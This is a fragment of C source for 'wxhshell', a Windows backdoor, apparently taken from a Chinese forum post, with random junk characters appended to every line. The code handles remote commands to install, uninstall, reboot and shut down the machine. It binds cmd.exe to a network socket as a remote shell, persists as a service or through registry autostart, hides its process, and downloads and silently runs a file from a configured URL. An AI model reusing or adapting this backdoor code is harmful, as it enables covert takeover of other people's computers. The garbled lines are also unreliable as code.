  i{}Q5iy  
  // 帮助 +-PFISa<r  
  case '?': { Io4Ss1="  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M!O &\2Q  
    break; a/gr1  
  } UJ^-T+fut  
  // 安装 _53N uEM1  
  case 'i': { 7xfN}iHG  
    if(Install()) X-F:)/$xG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yC9~X='D  
    else RX ,c4;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <]u]rZc$  
    break; g]PC6xr38  
    } nzl3<Ar  
  // 卸载 s>a(#6Q  
  case 'r': { Ht7v+lY90^  
    if(Uninstall()) uE&2M>2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r^+n06[  
    else `m\l#r 2C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FK,Jk04on  
    break; 0Rz",Mu>  
    } F=V_ACU  
  // 显示 wxhshell 所在路径 #QKgY7  
  case 'p': { l/6(V:  
    char svExeFile[MAX_PATH]; zF_aJ+i:~  
    strcpy(svExeFile,"\n\r"); F5YHc$3^  
      strcat(svExeFile,ExeFile); 5`f\[oA  
        send(wsh,svExeFile,strlen(svExeFile),0); Kc {~Q  
    break; "kg?Or.  
    } kg()C%#u  
  // 重启 V6tUijz  
  case 'b': { DTM xfQdk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3R[,,WAj$  
    if(Boot(REBOOT)) Qh,Dcg2ZM"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <j^"=UN4#  
    else { jWerX -$  
    closesocket(wsh); V1\x.0Fs  
    ExitThread(0); XV0t 8#T2  
    } Q=.j>aM+_  
    break; Z=y^9]  
    } G FO(O  
  // 关机 d;LBV<Z?  
  case 'd': { 4e9'yi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5JA5:4aev  
    if(Boot(SHUTDOWN)) vV /fTO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uf}Q{@Ab  
    else { .="[In '  
    closesocket(wsh); TF;}NQ  
    ExitThread(0); U\`H0'  
    } A]mXV4RmI  
    break; 2ZZF hj  
    } 7Jvb6V<R  
  // 获取shell 8CN 0Q&|  
  case 's': { 9lCZ i?  
    CmdShell(wsh); mp+lN:  
    closesocket(wsh); SBqx_4}  
    ExitThread(0); pxO ?:B  
    break; 8A3!XA  
  } oB]   
  // 退出 bx8|_K*^  
  case 'x': { c!}f\ ]D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YF(TG]?6  
    CloseIt(wsh); ~pj/_@S@x  
    break; ]U,f}T"e  
    } %b(non*  
  // 离开 =#ls<Zo:  
  case 'q': { 97n@HL1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vTF_`X  
    closesocket(wsh); ^GN|}W  
    WSACleanup(); y:N>t+'5  
    exit(1); l~9P4 ,  
    break; )./'`Mx?  
        } _& qM^  
  } _N&]w*ce  
  } "vnWq=E 2  
N#? Ohz  
  // 提示信息 k4ijWo{:0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4,pSC  
} ]Y@ia]x&P  
  } V`MV_zA2  
-8r9DS -/W  
  return; (1my9k5C  
} dJ0qg_ U&  
umD[4aP~;  
// shell模块句柄 zxt&oT0Q  
int CmdShell(SOCKET sock) >9v?p=  
{ /K./k!'z  
STARTUPINFO si; (Mw<E<f  
ZeroMemory(&si,sizeof(si)); ve|`I=?2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `*nK@:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?NL>xMA  
PROCESS_INFORMATION ProcessInfo;  #FfUkV  
char cmdline[]="cmd"; j 4B|ktf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >v DD.  
  return 0; mjd9]HgN  
}  FGP~^Dr/  
-gP4| r8&  
// 自身启动模式 zkt+"P{az[  
int StartFromService(void) S2jO  
{ EFg s}BV_9  
typedef struct jJmg9&^R  
{ @fH?y Z=>  
  DWORD ExitStatus; }m~2[5q%/  
  DWORD PebBaseAddress; ?*~Pgh >uL  
  DWORD AffinityMask; ir4uy  
  DWORD BasePriority; <A,G:&d~  
  ULONG UniqueProcessId; DfCo=  
  ULONG InheritedFromUniqueProcessId; (!nhU  
}   PROCESS_BASIC_INFORMATION; / !*gH1 s  
^'|\8  
PROCNTQSIP NtQueryInformationProcess; :X`Bc"  
hkO)q|1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B(GcPDj(K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z5CWgN  
o >=YoG  
  HANDLE             hProcess; 7b2N'^z}  
  PROCESS_BASIC_INFORMATION pbi; S|8O$9{x9q  
H:ar&o#(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (\si/&  
  if(NULL == hInst ) return 0; 6c3+q+#J2  
"Iy @PR?>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =%:mZ@x'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aQ ~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VvwQz#S  
r"a4 ;&mf  
  if (!NtQueryInformationProcess) return 0; 4:=eO!6  
MK]S205{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RN?z)9!  
  if(!hProcess) return 0; ")U`Wgx  
 _"ysJ&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :;u~M(R  
urHQb5|T}  
  CloseHandle(hProcess); Fc;)p88[  
K%<Z"2!+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T|p$Ddt`+  
if(hProcess==NULL) return 0; I3xx}^V  
Z\E3i  
HMODULE hMod; jZ< *XX  
char procName[255]; dG|srgk+  
unsigned long cbNeeded; ~BVg#_P  
/q %TjQ}F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HF wT  
zxCxGT\;  
  CloseHandle(hProcess); c@{,&,vsj  
v=:RxjEx  
if(strstr(procName,"services")) return 1; // 以服务启动 {y|y68y0+  
ZYBNS~Q  
  return 0; // 注册表启动 1$fA9u$  
} /^ v4[]  
17G7r\iNYq  
// 主模块 Mg95us  
int StartWxhshell(LPSTR lpCmdLine) _OTkv6;4n  
{ J$PE7*NU  
  SOCKET wsl; /Mf45U<  
BOOL val=TRUE; &l%#OI}OE  
  int port=0; il-v>GJU7{  
  struct sockaddr_in door; <;x+ ?j  
WJ\YKXG  
  if(wscfg.ws_autoins) Install(); bTKzwNx  
!.iA^D//]  
port=atoi(lpCmdLine); A 20_a;V  
E/_=0t  
if(port<=0) port=wscfg.ws_port; NF0} eom  
v}-'L#6  
  WSADATA data; 9F k wtF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ms3Ec`i9  
CQsVGn{x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e )\s0#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \u,hS*v0  
  door.sin_family = AF_INET; e&F,z=XJ}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LP_ !g  
  door.sin_port = htons(port); >'Nrvy%&0  
Oa7`Y`6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $K\\ 8$Z  
closesocket(wsl); blaxUP:  
return 1; "xS",6Sy  
}  2c!?!:s  
Aye!@RjM8  
  if(listen(wsl,2) == INVALID_SOCKET) { 61T"K  
closesocket(wsl); H@__%KBw  
return 1; $9*Xfb/  
} `EU=u_N  
  Wxhshell(wsl); 3,tKqR7g  
  WSACleanup(); ^5u}   
e|AJxn]  
return 0; Vjj30f  
|,t#Au}61  
} |/ZpZ7  
6P?   
// 以NT服务方式启动 rN$_(%m_N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kHX- AsRc  
{ ^"l>;.w  
DWORD   status = 0; 8*4X%a=Of  
  DWORD   specificError = 0xfffffff; %S.R@C[3  
InNuK0@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y'bDEdeT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )"A+T&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6/s#'#jh  
  serviceStatus.dwWin32ExitCode     = 0; \|DcWH1  
  serviceStatus.dwServiceSpecificExitCode = 0; D19uI&U4  
  serviceStatus.dwCheckPoint       = 0; rt!5Tl+v  
  serviceStatus.dwWaitHint       = 0; #\@*C=  
uQ9P6w=Nt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IR(JBB|xNQ  
  if (hServiceStatusHandle==0) return; `IkWS7|  
#Cvjv; QwY  
status = GetLastError(); h&[]B*BLr  
  if (status!=NO_ERROR) gAgzM?A1(  
{ J03yFT,dF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LJfd{R1y+  
    serviceStatus.dwCheckPoint       = 0; cm6cW(x6  
    serviceStatus.dwWaitHint       = 0; MPT*[&\-  
    serviceStatus.dwWin32ExitCode     = status; b!5W!vcK  
    serviceStatus.dwServiceSpecificExitCode = specificError; vUvIZa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vM1f-I-  
    return; zg0)9 br  
  } <8+.v6DCd  
<i%.bfQ/-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K.",=\53  
  serviceStatus.dwCheckPoint       = 0; c3Y\XzV3v  
  serviceStatus.dwWaitHint       = 0; "^Tb8!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^6Hfq^ejt  
} 2^E.sf$f  
O9dIobu4  
// 处理NT服务事件,比如:启动、停止 5yuj}/PZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "qIO,\3T  
{ [- a2<E  
switch(fdwControl) y5RcJM  
{ MU<Y,4/k  
case SERVICE_CONTROL_STOP: *y='0)[BD  
  serviceStatus.dwWin32ExitCode = 0; >ys>Q)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !G 90oW  
  serviceStatus.dwCheckPoint   = 0; S c_*L<$  
  serviceStatus.dwWaitHint     = 0; _K_!(]t  
  { tUDOL-Tv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C~yfuPr\B  
  } fOdkzD,  
  return; UMma|9l(i  
case SERVICE_CONTROL_PAUSE: 0;#%KC,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nz3j";d  
  break; g>1yQ  
case SERVICE_CONTROL_CONTINUE: T\{ on[O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gah3d*d7  
  break; P|!GXkS  
case SERVICE_CONTROL_INTERROGATE: 'u@ )F`  
  break; E*:!G  
}; o )G'._  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _*>bf G  
} O={4 >>F  
t>)iC)^u  
// 标准应用程序主函数 +?w 7Nm`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m.iCGX  
{ h q6B pE  
{Kx eH7S  
// 获取操作系统版本 .0:BgM  
OsIsNt=GetOsVer(); GvF8S MO[x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L'BDS*  
XI} C|]#  
  // 从命令行安装 Z3g6 ?2w6  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2?u>A3^R  
`MA ee8u'  
  // 下载执行文件 =Mzg={)v  
if(wscfg.ws_downexe) { y>Zvose  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I?YTX  
  WinExec(wscfg.ws_filenam,SW_HIDE); K_{f6c<  
} \_Nr7sc\  
F l83 Z>  
if(!OsIsNt) { kT&-:: ^R  
// 如果时win9x,隐藏进程并且设置为注册表启动 >6*"g{/  
HideProc(); L$=@j_V2  
StartWxhshell(lpCmdLine); M#LQz~E  
} ,d(F|5 M:  
else hb9e6Cc  
  if(StartFromService()) ! E` Tt[  
  // 以服务方式启动 "nPmQ  
  StartServiceCtrlDispatcher(DispatchTable); \(Dq=UzQI  
else ^m;dEe&@F  
  // 普通方式启动 ,],"tzKtE  
  StartWxhshell(lpCmdLine); r5jiB L~  
I+Qv$#S/  
return 0; IMIZ#/  
}
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只看该作者 1 发表于: 2006-10-10
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